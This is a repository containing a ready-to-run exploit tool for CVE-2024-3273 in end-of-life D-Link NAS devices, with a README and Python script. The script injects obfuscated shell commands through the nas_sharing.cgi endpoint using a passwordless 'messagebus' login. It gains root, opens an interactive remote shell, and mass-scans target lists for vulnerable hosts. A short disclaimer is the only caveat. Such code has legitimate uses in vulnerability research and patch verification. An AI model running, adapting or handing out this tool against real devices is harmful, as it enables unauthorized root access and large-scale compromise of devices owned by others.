├── requirements.txt ├── README.md └── exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | alive_progress==3.1.5 2 | prompt_toolkit==3.0.43 3 | requests==2.31.0 4 | rich==13.7.1 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🛠️ CVE-2024-3273 Exploit Tool 2 | 3 | ## 🌟 Introduction 4 | 5 | This script is a powerful exploitation tool for the CVE-2024-3273 vulnerability found in specific versions of D-Link NAS devices. It enables command execution and unauthorized access to the affected devices. 6 | 7 | ## ⚙️ Installation 8 | 9 | To set up the exploitation tool, follow these steps: 10 | 11 | 1. **Clone the repository**: 12 | 13 | ```bash 14 | git clone https://github.com/Chocapikk/CVE-2024-3273.git 15 | ``` 16 | 17 | 2. **Navigate to the tool's directory**: 18 | 19 | ```bash 20 | cd CVE-2024-3273 21 | ``` 22 | 23 | 3. **Install the required Python packages**: 24 | 25 | ```bash 26 | pip install -r requirements.txt 27 | ``` 28 | 29 | ## 🚀 Usage 30 | 31 | To use the tool, run the script from the command line as follows: 32 | 33 | ```bash 34 | python exploit.py [options] 35 | ``` 36 | 37 | ### Options 38 | 39 | - **-u, --url**: 40 | Specify the target URL or IP address. 41 | 42 | - **-f, --file**: 43 | Specify a file containing a list of URLs to scan. 44 | 45 | - **-t, --threads**: 46 | Set the number of threads for concurrent scanning. 47 | 48 | - **-o, --output**: 49 | Define an output file to save the scan results. 50 | 51 | When a single URL is provided with the `-u` option and the target is vulnerable, the script will attempt to open an interactive shell. 52 | 53 | ### Example 54 | 55 | ```bash 56 | $ python3 exploit.py -u http://127.0.0.1 57 | [+] Command executed successfully. 58 | [!] http://127.0.0.1 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root) 59 | [+] Opening interactive shell... 60 | $ id 61 | [+] Command executed successfully. 62 | uid=0(root) gid=0(root) 63 | ``` 64 | 65 | ## 📊 Mass Scanning 66 | 67 | For mass scanning, use the `-f` option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable. 68 | 69 | ```bash 70 | python exploit.py -f urls.txt 71 | ``` 72 | 73 | ## 🗒️ Affected Versions 74 | 75 | The vulnerability affects the following versions of D-Link NAS devices: 76 | 77 | - DNS-320L Version 1.11, Version 1.03.0904.2013, Version 1.01.0702.2013 78 | - DNS-325 Version 1.01 79 | - DNS-327L Version 1.09, Version 1.00.0409.2013 80 | - DNS-340L Version 1.08 81 | 82 | These systems are considered to be end-of-life (EOL), meaning they are no longer supported or receiving updates from the manufacturer. It is strongly recommended that these systems are no longer used. 83 | 84 | ## 🛡️ Disclaimer 85 | 86 | Use this tool responsibly and ethically. Always obtain proper authorization before testing any system for vulnerabilities. 87 | 88 | ## 👏 Acknowledgments 89 | 90 | Special thanks to the researcher [@netsecfish](https://github.com/netsecfish) for their work in identifying this vulnerability. 91 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import requests 3 | import argparse 4 | 5 | from rich.console import Console 6 | from alive_progress import alive_bar 7 | from typing import Tuple, Optional, List 8 | from prompt_toolkit import PromptSession 9 | from prompt_toolkit.formatted_text import HTML 10 | from prompt_toolkit.history import InMemoryHistory 11 | from concurrent.futures import ThreadPoolExecutor, as_completed 12 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 13 | 14 | 15 | class DLink: 16 | def __init__(self, base_url: Optional[str]=None) -> None: 17 | self.base_url: Optional[str] = base_url 18 | self.session: requests.Session = requests.Session() 19 | self.console: Console = Console() 20 | 21 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 22 | 23 | def custom_print(self, message: str, header: str) -> None: 24 | header_colors: dict = {"+": "green", "-": "red", "!": "yellow", "*": "blue"} 25 | self.console.print( 26 | f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}" 27 | ) 28 | 29 | def execute_command(self, command: str = "id", verbose: bool = True) -> str: 30 | command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in command) 31 | command_final = f"echo -e {command_hex}|sh".replace(' ', '\t') 32 | base64_cmd: str = base64.b64encode(command_final.encode()).decode() 33 | url: str = f"{self.base_url}/cgi-bin/nas_sharing.cgi" 34 | params: dict = { 35 | "user": "messagebus", 36 | "passwd": "", 37 | "cmd": "15", 38 | "system": base64_cmd, 39 | } 40 | try: 41 | response: requests.Response = self.session.get( 42 | url, params=params, verify=False, timeout=10 43 | ) 44 | result: str = ( 45 | response.text.split(" Tuple[str, bool]: 66 | self.base_url = url 67 | result: str = self.execute_command(verbose=False) 68 | is_vulnerable: bool = bool(result) 69 | return f"{url} is vulnerable to CVE-2024-3273: {result}", is_vulnerable 70 | 71 | def interactive_shell(self) -> None: 72 | initial_result = self.execute_command() 73 | if initial_result: 74 | self.custom_print( 75 | f"{self.base_url} is vulnerable to CVE-2024-3273: {initial_result}", "!" 76 | ) 77 | self.custom_print("Opening interactive shell...", "+") 78 | session: PromptSession = PromptSession(history=InMemoryHistory()) 79 | 80 | while True: 81 | try: 82 | cmd: str = session.prompt( 83 | HTML("# "), default="" 84 | ).strip() 85 | if cmd.lower() == "exit": 86 | break 87 | elif cmd.lower() == "clear": 88 | self.console.clear() 89 | continue 90 | output: str = self.execute_command(cmd) 91 | if output: 92 | print(f"{output}\n") 93 | except KeyboardInterrupt: 94 | self.custom_print("Exiting interactive shell...", "!") 95 | break 96 | else: 97 | self.custom_print("System is not vulnerable or check failed.", "-") 98 | 99 | def check_urls_and_write_output( 100 | self, urls: List[str], max_workers: int, output_path: Optional[str] 101 | ) -> None: 102 | with ThreadPoolExecutor(max_workers=max_workers) as executor, alive_bar( 103 | len(urls), enrich_print=False 104 | ) as bar: 105 | futures = {executor.submit(self.check_single_url, url): url for url in urls} 106 | for future in as_completed(futures): 107 | result, is_vulnerable = future.result() 108 | if is_vulnerable: 109 | self.custom_print(result, "+") 110 | if output_path: 111 | with open(output_path, "a") as file: 112 | file.write(result) 113 | bar() 114 | 115 | 116 | def main() -> None: 117 | parser: argparse.ArgumentParser = argparse.ArgumentParser() 118 | parser.add_argument( 119 | "-u", "--url", help="Base URL for single target", default=None 120 | ) 121 | parser.add_argument( 122 | "-f", "--file", help="File containing list of URLs", default=None 123 | ) 124 | parser.add_argument( 125 | "-t", "--threads", help="Number of threads to use", type=int, default=20 126 | ) 127 | parser.add_argument( 128 | "-o", "--output", help="Output file to save results", default=None 129 | ) 130 | 131 | args: argparse.Namespace = parser.parse_args() 132 | 133 | if args.url: 134 | dlink: DLink = DLink(args.url) 135 | dlink.interactive_shell() 136 | elif args.file: 137 | with open(args.file, "r") as f: 138 | urls: List[str] = f.read().splitlines() 139 | dlink = DLink() 140 | dlink.check_urls_and_write_output(urls, args.threads, args.output) 141 | else: 142 | parser.error( 143 | "No URL or file provided. Use -u to specify a single URL or -f to specify a file containing URLs." 144 | ) 145 | 146 | 147 | if __name__ == "__main__": 148 | main() 149 | --------------------------------------------------------------------------------